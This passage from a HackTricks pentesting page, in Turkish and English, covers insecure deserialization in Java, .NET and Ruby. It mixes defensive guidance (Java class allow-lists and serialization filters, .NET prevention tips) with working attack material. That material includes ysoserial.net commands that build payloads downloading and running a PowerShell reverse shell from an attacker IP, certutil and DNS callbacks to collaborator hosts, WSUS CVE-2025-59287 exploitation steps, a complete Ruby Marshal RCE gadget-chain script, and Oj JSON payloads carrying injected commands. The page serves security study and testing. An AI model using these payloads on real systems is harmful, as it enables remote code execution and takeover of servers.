Sınıf hiyerarşisi nedeniyle bazı nesnelerin Serializable arayüzünü uygulaması gerektiği durumlarda, istemeden deserialization gerçekleşme riski vardır. Bunu önlemek için, bu nesnelerin her zaman bir istisna fırlatan final bir readObject() metodu tanımlayarak deserialization’a karşı koruyun; aşağıda gösterildiği gibi:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java’da Deserialization Güvenliğini Artırma
java.io.ObjectInputStream’u özelleştirmek deserialization işlemlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem şu durumlarda uygundur:
- Deserialization kodu sizin kontrolünüz altındaysa.
- Deserialization için beklenen sınıflar biliniyorsa.
Deserialization’ı yalnızca izin verilen sınıflarla sınırlamak için resolveClass() metodunu geçersiz kılın. Bu, açıkça izin verilenler dışındaki herhangi bir sınıfın deserialization’ını engeller; aşağıdaki örnekte yalnızca Bicycle sınıfına izin verilmektedir:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement kod değişikliği mümkün olmadığında bir yedek çözüm sunar. Bu yöntem, JVM parametresi kullanılarak özellikle blacklisting harmful classes için uygulanır:
-javaagent:name-of-agent.jar
Bu, anında kod değişikliklerinin pratik olmadığı ortamlarda ideal olan, deserialization’ı dinamik olarak güvence altına almanın bir yolunu sağlar.
Bir örneğe bakın: rO0 by Contrast Security
Implementing Serialization Filters: Java 9, ObjectInputFilter arayüzü aracılığıyla serialization filtrelerini tanıttı; bu, serileştirilmiş nesnelerin deserialized edilmeden önce karşılaması gereken kriterleri belirtmek için güçlü bir mekanizma sağlar. Bu filtreler global olarak veya stream bazında uygulanabilir ve deserialization süreci üzerinde ayrıntılı kontrol sunar.
Serialization filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanacak bir global filtre ayarlayabilir veya belirli stream’ler için dinamik olarak yapılandırabilirsiniz. Örneğin:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
- NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
- jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
- Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
Kısacası, tehlikeli şekilde JMS kullanan bir dizi servis var. Bu servislere mesaj göndermek için yeterli yetkiye sahipseniz (genellikle geçerli kimlik bilgileri gerekir) tüketici/subscriber tarafından deserialized edilecek kötü amaçlı serialized objeler gönderebilirsiniz.
Bu, bu istismarda o mesajı kullanacak tüm client’ların etkilenebileceği anlamına gelir.
Bir servisin vulnerable olması (kullanıcı girdisini güvensiz şekilde deserialized etmesi) durumunda bile, istismarı gerçekleştirmek için uygun gadget’ları bulmanız gerektiğini unutmayın.
JMET aracı, bu servislere bağlanıp bilinen gadget’ları kullanarak birçok malicious serialized obje göndererek saldırmak için oluşturulmuştur. Bu exploit’ler servis hâlâ vulnerable ise ve kullanılan gadget’lardan herhangi biri hedef uygulama içinde mevcutsa çalışacaktır.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
Fingerprint
WhiteBox
The source code should be inspected for occurrences of:
TypeNameHandlingJavaScriptTypeResolver
The focus should be on serializers that permit the type to be determined by a variable under user control.
BlackBox
The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or XML structures featuring TypeObject or $type.
ysoserial.net
In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.
If you want to learn about how does ysoserial.net creates it’s exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.
--gadgetused to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).--formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)--outputused to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn’t mean it will always work).--pluginysoserial.net supports plugins to craft exploits for specific frameworks like ViewState
More ysoserial.net parameters
--minifywill provide a smaller payload (if possible)--raf -f Json.Net -c "anything"This will indicate all the gadgets that can be used with a provided formatter (Json.Netin this case)--sf xmlyou can indicate a gadget (-g)and ysoserial.net will search for formatters containing “xml” (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ayrıca her exploit’in nasıl çalıştığını daha iyi anlamaya yardımcı olan çok ilginç bir parametreye sahiptir: --test
Bu parametreyi belirtirseniz ysoserial.net exploit’i yerel olarak deneyecektir, böylece payload’unuzun doğru çalışıp çalışmadığını test edebilirsiniz.
Bu parametre faydalıdır çünkü kodu incelerseniz şu gibi kod parçacıkları bulacaksınız (şunun içinden: ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Bu, exploit’i test etmek için kodun serializersHelper.JsonNet_deserialize çağıracağı anlamına gelir.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Bu yüzden --test parametresi, ysoserial.net’in oluşturabileceği deserialization exploit’ine karşı hangi kod parçalarının savunmasız olduğunu anlamamıza olanak sağlar.
ViewState
Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Eğer kurban makinede kullanılan gizli anahtarları zaten biliyorsanız, read this post to know to execute code.
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Etkilenen endpoint’ler:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() tarafından döndürülen AuthorizationCookie deşifre ediliyor, ardından BinaryFormatter ile deserialized ediliyor./ReportingWebService.asmx→ ReportEventBatch ve ilgili SOAP işlemleri SoapFormatter sink’lerine ulaşıyor; base64 gadget, WSUS konsolu olayı işlediğinde işleniyor.- Temel neden: saldırgan kontrolündeki byte’lar sıkı allow‑lists/binders olmadan legacy .NET formatörlerine (BinaryFormatter/SoapFormatter) ulaşıyor; bu yüzden gadget zincirleri WSUS servis hesabı (çoğunlukla SYSTEM) olarak çalıştırılıyor.
Minimal istismar (Reporting yolu):
- ysoserial.net ile bir .NET gadget oluşturun (BinaryFormatter veya SoapFormatter) ve base64 çıktısı alın, örneğin:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatchiçin SOAP hazırla, base64 gadget gömerek/ReportingWebService.asmx’e POST et.- Bir admin WSUS konsolunu açtığında, event deserialize edilir ve gadget tetiklenir (RCE olarak SYSTEM).
AuthorizationCookie / GetCookie()
- Sahte bir AuthorizationCookie kabul edilebilir, şifresi çözülebilir ve BinaryFormatter sink’ine iletilerek, erişilebilirse pre‑auth RCE’ye olanak tanır.
Public PoC (tecxx/CVE-2025-59287-WSUS) parametreleri:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Önleme
Deserialization ile ilişkili riskleri .Net’te azaltmak için:
- Veri akışlarının kendi nesne tiplerini tanımlamasına izin vermeyin. Mümkünse
DataContractSerializerveyaXmlSerializerkullanın. JSON.NetiçinTypeNameHandling’iNoneolarak ayarlayın:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializer’ıJavaScriptTypeResolverile kullanmaktan kaçının.- Deserialized olabilecek tipleri sınırlandırın,
System.IO.FileInfogibi .Net tiplerinin sunucu dosyalarının özelliklerini değiştirebileceği ve potansiyel olarak denial of service attacks’e yol açabileceği gibi doğuştan gelen riskleri anlayın. System.ComponentModel.DataAnnotations.ValidationExceptiongibiValueözelliği riskli olan tiplere dikkat edin, bu özellikler istismar edilebilir.- Tip örneklenmesini güvenli şekilde kontrol edin ki saldırganların deserialization sürecini etkilemesi engellensin; aksi takdirde
DataContractSerializerveyaXmlSerializerbile savunmasız olabilir. BinaryFormatterveJSON.Netiçin özel birSerializationBinderkullanarak beyaz liste kontrolleri uygulayın.- .Net içindeki bilinen insecure deserialization gadget’larından haberdar olun ve deserializer’ların bu tipleri örneklemediğinden emin olun.
- Potansiyel olarak riskli kodu internet erişimi olan koddan izole edin; böylece WPF uygulamalarında
System.Windows.Data.ObjectDataProvidergibi bilinen gadget’ların untrusted data kaynaklarına maruz kalması engellenir.
Kaynaklar
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby’de serileştirme, marshal kütüphanesindeki iki yöntemle gerçekleştirilir. Birinci yöntem, dump, bir nesneyi byte akışına dönüştürmek için kullanılır; bu işleme serialization denir. İkinci yöntem, load, bir byte akışını tekrar nesneye dönüştürmek için kullanılır; bu işleme deserialization denir.
Serileştirilmiş nesneleri güvence altına almak için Ruby employs HMAC (Hash-Based Message Authentication Code); bu, verinin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar aşağıdaki yerlerden birinde saklanır:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/)
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails’i istismar etmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metodu
Bu this vulnerability report içinde açıklandığı gibi, eğer kullanıcı tarafından temizlenmemiş bir girdi bir ruby nesnesinin .send() metoduna ulaşırsa, bu metod nesnenin herhangi bir başka metodunu herhangi parametrelerle çağırmaya izin verir.
Örneğin, eval’i çağırıp ikinci parametre olarak ruby kodu verirseniz, herhangi bir kod çalıştırabilirsiniz:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Ek olarak, yalnızca .send()’in tek bir parametresi bir saldırgan tarafından kontrol edilebiliyorsa, önceki yazıda belirtildiği gibi, argüman gerektirmeyen veya argümanları varsayılan değerlere sahip olan nesnenin herhangi bir metodunu çağırmak mümkündür.
Bunun için, nesnenin tüm metotları sıralanarak bu gereksinimleri karşılayan bazı ilginç metotları bulmak mümkündür.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Nasıl mümkün olabileceğini ve burada nasıl kötüye kullanılabileceğini görmek için pollute a Ruby class and abuse it in here sayfasına bakın.
Ruby _json pollution
Bir body gönderilirken, array gibi hash’lenemeyen bazı değerler _json adında yeni bir anahtara eklenir. Ancak, bir attacker aynı zamanda body içinde istediği rastgele değerlerle _json adlı bir değer de ayarlayabilir. Örneğin backend bir parametrenin doğruluğunu kontrol ediyor fakat _json parametresini bir işlem yapmak için kullanıyorsa, bir authorisation bypass gerçekleştirilebilir.
Daha fazla bilgi için Ruby _json pollution page sayfasına bakın.
Diğer kütüphaneler
Bu teknik from this blog post kaynağından alınmıştır.
Nesneleri serialize etmek için kullanılabilecek ve insecure deserialization sırasında RCE elde etmek amacıyla kötüye kullanılabilecek başka Ruby kütüphaneleri de vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarının ve unserialized edildiğinde çağrılan metodun (temelde RCE elde etmek için kötüye kullanılacak fonksiyon) gösterimini sağlar:
| Kütüphane | Girdi verisi | Sınıf içindeki tetikleyici metod |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basit örnek:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj’yi kötüye kullanmaya çalışırken, içinde hash fonksiyonunun to_s’u çağıracağı, bunun spec’i çağıracağı ve onun da fetch_path’i çağıracağı bir gadget class bulmak mümkün oldu; fetch_path’i rastgele bir URL’i getirecek şekilde tetiklemek mümkündü ve bu, bu tür unsanitized deserialization vulnerabilities için harika bir detector sağladı.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Ayrıca, önceki teknikle sistemde bir klasör oluşturulduğu tespit edildi; bu, başka bir gadget’ı istismar ederek bunu tam bir RCE’ye dönüştürmek için gerekli bir koşuldur; örneğin:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Önbellekleme
Gerçek bir deserialization vuln değil ama bootstrap caching’i suistimal ederek arbitrary file write ile bir rails uygulamasından RCE elde etmek için güzel bir hile (tam original post in here).
Aşağıda Bootsnap caching’i kötüye kullanarak arbitrary file write zafiyetini istismar etme makalesinde detaylandırılan adımların kısa bir özeti bulunmaktadır:
- Identify the Vulnerability and Environment
Rails uygulamasının dosya yükleme işlevi saldırganın dosyaları keyfi olarak yazmasına izin veriyor. Uygulama kısıtlamalarla çalışsa da (ör. Docker’ın non-root user’ı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu durum Bootsnap önbellek dizinine yazmaya (genellikle tmp/cache/bootsnap altında) izin veriyor.
- Understand Bootsnap’s Cache Mechanism
Bootsnap, derlenmiş Ruby kodu, YAML ve JSON dosyalarını önbelleğe alarak Rails boot sürelerini hızlandırır. Cache dosyaları, cache key header (Ruby version, file size, mtime, compile options vb. alanları içeren) ve ardından derlenmiş kodu içerir. Bu header, uygulama başlatılırken önbelleği doğrulamak için kullanılır.
- Gather File Metadata
Saldırgan, Rails başlangıcında muhtemelen yüklenen bir hedef dosyayı seçer (örneğin Ruby standard library’den set.rb). Konteyner içinde Ruby kodu çalıştırarak kritik metadata (RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option gibi) çıkarılır. Bu veriler geçerli bir cache key oluşturmak için gereklidir.
- Compute the Cache File Path
Bootsnap’in FNV-1a 64-bit hash mekanizmasını taklit ederek doğru cache dosyası yolu belirlenir. Bu adım, kötü amaçlı cache dosyasının Bootsnap’in beklediği tam konuma (ör. tmp/cache/bootsnap/compile-cache-iseq/) yerleştirilmesini sağlar.
- Craft the Malicious Cache File
Saldırgan hazırladığı payload ile:
- Arbitrary commands çalıştırır (ör. process bilgilerini göstermek için id komutunu çalıştırma).
- Tekrarlı istismarı önlemek için yürütme sonrası kötü amaçlı cache’i kaldırır.
- Uygulamanın çökmesini önlemek için orijinal dosyayı (ör. set.rb) yükler.
Bu payload, ikili Ruby koduna derlenir ve önceden toplanan metadata ve doğru Bootsnap sürüm numarası kullanılarak dikkatle oluşturulmuş bir cache key header ile birleştirilir.
- Overwrite and Trigger Execution
Arbitrary file write zafiyetini kullanarak saldırgan hazırlanmış cache dosyasını hesaplanan konuma yazar. Sonra bir server restart tetiklenir (Puma tarafından izlenen tmp/restart.txt dosyasına yazılarak). Restart sırasında Rails hedeflenen dosyayı require ettiğinde, kötü amaçlı cache dosyası yüklenir ve RCE gerçekleşir.
Ruby Marshal exploitation in practice (updated)
Untrusted byte’ların Marshal.load/marshal_load ile ulaştığı her yolu bir RCE sink olarak kabul edin. Marshal, arbitrary object graph’ları yeniden oluşturur ve materialization sırasında library/gem callback’lerini tetikler.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Gerçek zincirlerde görülen yaygın gadget sınıfları:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Payloads içinde gömülü tipik yan-etki işareti (unmarshal sırasında çalıştırılır):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gerçek uygulamalarda nerede ortaya çıkar:
- Marshal kullanan Rails cache store’ları ve session store’ları (tarihsel olarak)
- Background job backend’leri ve dosya tabanlı object store’lar
- İkili object blob’larının herhangi bir özel kalıcılığı veya taşınması
Endüstriyel ölçekte gadget keşfi:
- unmarshal sırasında çağrılan constructor’lar,
hash,_load,init_withveya yan etki üreten metodlar için Grep yapın - CodeQL’in Ruby unsafe deserialization sorgularını kullanarak sources → sinks’i izleyin ve gadget’ları ortaya çıkarın
- Kamuya açık çok formatlı PoC’larla doğrulayın (JSON/XML/YAML/Marshal)
Kaynaklar
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

